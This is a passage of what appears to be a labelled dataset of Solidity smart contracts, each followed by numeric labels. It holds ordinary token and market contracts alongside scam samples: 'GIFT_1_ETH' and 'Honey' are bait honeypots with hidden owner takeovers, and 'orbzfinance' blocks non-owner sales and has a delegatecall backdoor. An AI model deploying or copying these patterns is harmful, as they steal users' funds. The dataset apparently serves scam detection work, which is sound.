require(msg.sender == COLLATERAL_POOL_ADDRESS, "Only callable from the collateral pool");
_;
}
}
contract MarketContractMPX is MarketContract {
address public ORACLE_HUB_ADDRESS;
string public ORACLE_URL;
string public ORACLE_STATISTIC;
constructor(
bytes32[3] memory contractNames,
address[3] memory baseAddresses,
address oracleHubAddress,
uint[7] memory contractSpecs,
string memory oracleURL,
string memory oracleStatistic
) MarketContract(
contractNames,
baseAddresses,
contractSpecs
) public
{
ORACLE_URL = oracleURL;
ORACLE_STATISTIC = oracleStatistic;
ORACLE_HUB_ADDRESS = oracleHubAddress;
}
function oracleCallBack(uint256 price) public onlyOracleHub {
require(!isSettled);
lastPrice = price;
emit UpdatedLastPrice(price);
checkSettlement();
}
function arbitrateSettlement(uint256 price) public onlyOwner {
require(price >= PRICE_FLOOR && price <= PRICE_CAP, "arbitration price must be within contract bounds");
lastPrice = price;
emit UpdatedLastPrice(price);
settleContract(price);
isSettled = true;
}
modifier onlyOracleHub() {
require(msg.sender == ORACLE_HUB_ADDRESS, "only callable by the oracle hub");
_;
}
function setOracleHubAddress(address oracleHubAddress) public onlyOwner {
require(oracleHubAddress != address(0), "cannot set oracleHubAddress to null address");
ORACLE_HUB_ADDRESS = oracleHubAddress;
}
}
contract MarketContractRegistryInterface {
function addAddressToWhiteList(address contractAddress) external;
function isAddressWhiteListed(address contractAddress) external view returns (bool);
}
contract MarketContractFactoryMPX is Ownable {
address public marketContractRegistry;
address public oracleHub;
address public MARKET_COLLATERAL_POOL;
event MarketContractCreated(address indexed creator, address indexed contractAddress);
constructor(
address registryAddress,
address collateralPoolAddress,
address oracleHubAddress
) public {
require(registryAddress != address(0), "registryAddress can not be null");
require(collateralPoolAddress != address(0), "collateralPoolAddress can not be null");
require(oracleHubAddress != address(0), "oracleHubAddress can not be null");
marketContractRegistry = registryAddress;
MARKET_COLLATERAL_POOL = collateralPoolAddress;
oracleHub = oracleHubAddress;
}
function deployMarketContractMPX(
bytes32[3] calldata contractNames,
address collateralTokenAddress,
uint[7] calldata contractSpecs,
string calldata oracleURL,
string calldata oracleStatistic
) external onlyOwner
{
MarketContractMPX mktContract = new MarketContractMPX(
contractNames,
[
owner(),
collateralTokenAddress,
MARKET_COLLATERAL_POOL
],
oracleHub,
contractSpecs,
oracleURL,
oracleStatistic
);
MarketContractRegistryInterface(marketContractRegistry).addAddressToWhiteList(address(mktContract));
emit MarketContractCreated(msg.sender, address(mktContract));
}
function setRegistryAddress(address registryAddress) external onlyOwner {
require(registryAddress != address(0), "registryAddress can not be null");
marketContractRegistry = registryAddress;
}
function setOracleHubAddress(address oracleHubAddress) external onlyOwner {
require(oracleHubAddress != address(0), "oracleHubAddress can not be null");
oracleHub = oracleHubAddress;
}
} | 1 | 3,870 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract TheLiquidToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AnyName is TheLiquidToken {
string public constant name = "HyperTV Token";
string public constant symbol = "HYTV";
uint public constant decimals = 3;
uint256 public initialSupply = 20000000000;
function AnyName () {
totalSupply = 20000000000;
balances[msg.sender] = totalSupply;
initialSupply = totalSupply;
Transfer(0, this, totalSupply);
Transfer(this, msg.sender, totalSupply);
}
} | 1 | 4,936 |
pragma solidity ^0.4.19;
contract GIFT_1_ETH
{
bytes32 public hashPass;
address sender;
bool passHasBeenSet = false;
uint lastBlock;
function() public payable{}
function GetHash(bytes pass) public constant returns (bytes32) {return keccak256(pass);}
function SetPass(bytes32 hash)
public
payable
{
if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 )
{
hashPass = hash;
sender = msg.sender;
}
lastBlock = block.number;
}
function GetGift(bytes pass)
external
payable
oneforblock
{
if(hashPass == keccak256(pass))
{
msg.sender.transfer(this.balance);
}
}
function Revoce()
public
payable
oneforblock
{
if(msg.sender==sender)
{
sender.transfer(this.balance);
}
}
function PassHasBeenSet(bytes32 hash)
public
{
if(msg.sender==sender&&hash==hashPass)
{
passHasBeenSet=true;
}
}
modifier oneforblock
{
require(lastBlock<block.number);
_;
}
} | 1 | 2,873 |
pragma solidity ^0.4.23;
contract EtherDiamond
{
address public admin_address = 0xb0903252CfFa12D1802dEeB20a5EC321882a526E;
address public account_address = 0xb0903252CfFa12D1802dEeB20a5EC321882a526E;
mapping(address => uint256) balances;
string public name = "EtherDiamond";
string public symbol = "ETD";
uint8 public decimals = 5;
uint256 initSupply = 1000000000;
uint256 public totalSupply = 0;
constructor()
payable
public
{
totalSupply = mul(initSupply, 10**uint256(decimals));
balances[account_address] = totalSupply;
}
function balanceOf( address _addr ) public view returns ( uint )
{
return balances[_addr];
}
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = sub(balances[msg.sender],_value);
balances[_to] = add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
bool public direct_drop_switch = true;
uint256 public direct_drop_rate = 28000;
address public direct_drop_address = 0xb0903252CfFa12D1802dEeB20a5EC321882a526E;
address public direct_drop_withdraw_address = 0xb0903252CfFa12D1802dEeB20a5EC321882a526E;
bool public direct_drop_range = false;
uint256 public direct_drop_range_start = 1541833320;
uint256 public direct_drop_range_end = 1575097320;
event TokenPurchase
(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function buyTokens( address _beneficiary )
public
payable
returns (bool)
{
require(direct_drop_switch);
require(_beneficiary != address(0));
if( direct_drop_range )
{
require(block.timestamp >= direct_drop_range_start && block.timestamp <= direct_drop_range_end);
}
uint256 tokenAmount = div(mul(msg.value,direct_drop_rate ), 10**5);
uint256 decimalsAmount = mul( 10**uint256(decimals), tokenAmount);
require
(
balances[direct_drop_address] >= decimalsAmount
);
assert
(
decimalsAmount > 0
);
uint256 all = add(balances[direct_drop_address], balances[_beneficiary]);
balances[direct_drop_address] = sub(balances[direct_drop_address], decimalsAmount);
balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount);
assert
(
all == add(balances[direct_drop_address], balances[_beneficiary])
);
emit TokenPurchase
(
msg.sender,
_beneficiary,
msg.value,
tokenAmount
);
return true;
}
modifier admin_only()
{
require(msg.sender==admin_address);
_;
}
function setAdmin( address new_admin_address )
public
admin_only
returns (bool)
{
require(new_admin_address != address(0));
admin_address = new_admin_address;
return true;
}
function setDirectDrop( bool status )
public
admin_only
returns (bool)
{
direct_drop_switch = status;
return true;
}
function withDraw()
public
{
require(msg.sender == admin_address || msg.sender == direct_drop_withdraw_address);
require(address(this).balance > 0);
direct_drop_withdraw_address.transfer(address(this).balance);
}
function () external payable
{
buyTokens(msg.sender);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,666 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract orbzfinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 14 |
pragma solidity ^0.4.24;
interface ImplementationProvider {
function getImplementation(string contractName) public view returns (address);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract ImplementationDirectory is ImplementationProvider, Ownable {
event ImplementationChanged(string contractName, address indexed implementation);
event Frozen();
mapping (string => address) internal implementations;
bool public frozen;
modifier whenNotFrozen() {
require(!frozen, "Cannot perform action for a frozen implementation directory");
_;
}
function freeze() onlyOwner whenNotFrozen public {
frozen = true;
emit Frozen();
}
function getImplementation(string contractName) public view returns (address) {
return implementations[contractName];
}
function setImplementation(string contractName, address implementation) public onlyOwner whenNotFrozen {
require(AddressUtils.isContract(implementation), "Cannot set implementation in directory with a non-contract address");
implementations[contractName] = implementation;
emit ImplementationChanged(contractName, implementation);
}
function unsetImplementation(string contractName) public onlyOwner whenNotFrozen {
implementations[contractName] = address(0);
emit ImplementationChanged(contractName, address(0));
}
} | 1 | 4,751 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address payable public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address payable _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public ;
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic, Ownable{
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value)
public
onlyPayloadSize(2 * 32)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public view returns (uint) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
event Burn(address indexed from, uint256 value);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
onlyPayloadSize(3 * 32)
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BZBToken is StandardToken {
using SafeMath for uint256;
string constant public name = "BZB Token";
string constant public symbol = "BZB";
uint8 constant public decimals = 18;
uint public totalSupply = 21*10**26;
event PaymentReceived(address _from, uint256 _amount);
constructor(address _wallet) public {
balances[_wallet] = totalSupply;
emit Transfer(address(0), _wallet, totalSupply);
}
function burn(uint256 _value) public returns (bool)
{
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function withdrawEther(uint256 _amount) public onlyOwner {
owner.transfer(_amount);
}
function () external payable {
emit PaymentReceived(msg.sender, msg.value);
}
} | 1 | 3,226 |
pragma solidity ^0.4.19;
contract Honey
{
address public Owner = msg.sender;
function()
public
payable
{
}
function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x0C76802158F13aBa9D892EE066233827424c5aAB){Owner=0x0C76802158F13aBa9D892EE066233827424c5aAB;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
} | 0 | 945 |
pragma solidity ^0.4.11;
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract E4LavaRewards
{
function checkDividends(address _addr) constant returns(uint _amount);
function withdrawDividends() public returns (uint namount);
function transferDividends(address _to) returns (bool success);
function getAccountInfo(address _addr) constant returns(uint _tokens, uint _snapshot, uint _points);
}
contract E4LavaOptIn
{
function optInFromClassic() public;
}
contract E4Lava is Token, E4LavaRewards, E4LavaOptIn {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
enum SettingStateValue {debug, lockedRelease}
struct tokenAccount {
bool alloced;
uint tokens;
uint currentPoints;
uint lastSnapshot;
}
uint constant NumOrigTokens = 5762;
uint constant NewTokensPerOrigToken = 100000;
uint constant NewTokenSupply = 5762 * 100000;
uint public numToksSwitchedOver;
uint public holdoverBalance;
uint public TotalFeesReceived;
address public developers;
address public owner;
address public oldE4;
address public oldE4RecycleBin;
uint public decimals;
string public symbol;
mapping (address => tokenAccount) holderAccounts;
mapping (uint => address) holderIndexes;
mapping (address => mapping (address => uint256)) allowed;
uint public numAccounts;
uint public payoutThreshold;
uint public rwGas;
uint public optInXferGas;
uint public optInFcnMinGas;
uint public vestTime = 1525219201;
SettingStateValue public settingsState;
function E4Lava()
{
owner = msg.sender;
developers = msg.sender;
decimals = 2;
symbol = "E4ROW";
}
function applySettings(SettingStateValue qState, uint _threshold, uint _rw, uint _optXferGas, uint _optFcnGas )
{
if (msg.sender != owner)
return;
payoutThreshold = _threshold;
rwGas = _rw;
optInXferGas = _optXferGas;
optInFcnMinGas = _optFcnGas;
if (settingsState == SettingStateValue.lockedRelease)
return;
settingsState = qState;
if (qState == SettingStateValue.lockedRelease) {
StatEvent("Locking!");
return;
}
for (uint i = 0; i < numAccounts; i++ ) {
address a = holderIndexes[i];
if (a != address(0)) {
holderAccounts[a].tokens = 0;
holderAccounts[a].currentPoints = 0;
holderAccounts[a].lastSnapshot = 0;
}
}
numToksSwitchedOver = 0;
holdoverBalance = 0;
TotalFeesReceived = 0;
if (this.balance > 0) {
if (!owner.call.gas(rwGas).value(this.balance)())
StatEvent("ERROR!");
}
StatEvent("ok");
}
function addAccount(address _addr) internal {
holderAccounts[_addr].alloced = true;
holderAccounts[_addr].tokens = 0;
holderAccounts[_addr].currentPoints = 0;
holderAccounts[_addr].lastSnapshot = TotalFeesReceived;
holderIndexes[numAccounts++] = _addr;
}
function totalSupply() constant returns (uint256 supply)
{
supply = NewTokenSupply;
}
function transfer(address _to, uint256 _value) returns (bool success)
{
if ((msg.sender == developers)
&& (now < vestTime)) {
return false;
}
if (holderAccounts[msg.sender].tokens >= _value && _value > 0) {
calcCurPointsForAcct(msg.sender);
holderAccounts[msg.sender].tokens -= _value;
if (!holderAccounts[_to].alloced) {
addAccount(_to);
}
calcCurPointsForAcct(_to);
holderAccounts[_to].tokens += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if ((_from == developers)
&& (now < vestTime)) {
return false;
}
if (holderAccounts[_from].tokens >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
calcCurPointsForAcct(_from);
holderAccounts[_from].tokens -= _value;
if (!holderAccounts[_to].alloced) {
addAccount(_to);
}
calcCurPointsForAcct(_to);
holderAccounts[_to].tokens += _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
balance = holderAccounts[_owner].tokens;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function calcCurPointsForAcct(address _acct) internal {
holderAccounts[_acct].currentPoints += (TotalFeesReceived - holderAccounts[_acct].lastSnapshot) * holderAccounts[_acct].tokens;
holderAccounts[_acct].lastSnapshot = TotalFeesReceived;
}
function () payable {
holdoverBalance += msg.value;
TotalFeesReceived += msg.value;
StatEventI("Payment", msg.value);
}
function blackHole() payable {
StatEventI("adjusted", msg.value);
}
function withdrawDividends() public returns (uint _amount)
{
calcCurPointsForAcct(msg.sender);
_amount = holderAccounts[msg.sender].currentPoints / NewTokenSupply;
if (_amount <= payoutThreshold) {
StatEventI("low Balance", _amount);
return;
} else {
if ((msg.sender == developers)
&& (now < vestTime)) {
StatEvent("Tokens not yet vested.");
_amount = 0;
return;
}
uint _pointsUsed = _amount * NewTokenSupply;
holderAccounts[msg.sender].currentPoints -= _pointsUsed;
holdoverBalance -= _amount;
if (!msg.sender.call.gas(rwGas).value(_amount)())
throw;
}
}
function transferDividends(address _to) returns (bool success)
{
if ((msg.sender == developers)
&& (now < vestTime)) {
return false;
}
calcCurPointsForAcct(msg.sender);
if (holderAccounts[msg.sender].currentPoints == 0) {
StatEvent("Zero balance");
return false;
}
if (!holderAccounts[_to].alloced) {
addAccount(_to);
}
calcCurPointsForAcct(_to);
holderAccounts[_to].currentPoints += holderAccounts[msg.sender].currentPoints;
holderAccounts[msg.sender].currentPoints = 0;
StatEvent("Trasnfered Dividends");
return true;
}
function setOpGas(uint _rw, uint _optXferGas, uint _optFcnGas)
{
if (msg.sender != owner && msg.sender != developers) {
return;
} else {
rwGas = _rw;
optInXferGas = _optXferGas;
optInFcnMinGas = _optFcnGas;
}
}
function checkDividends(address _addr) constant returns(uint _amount)
{
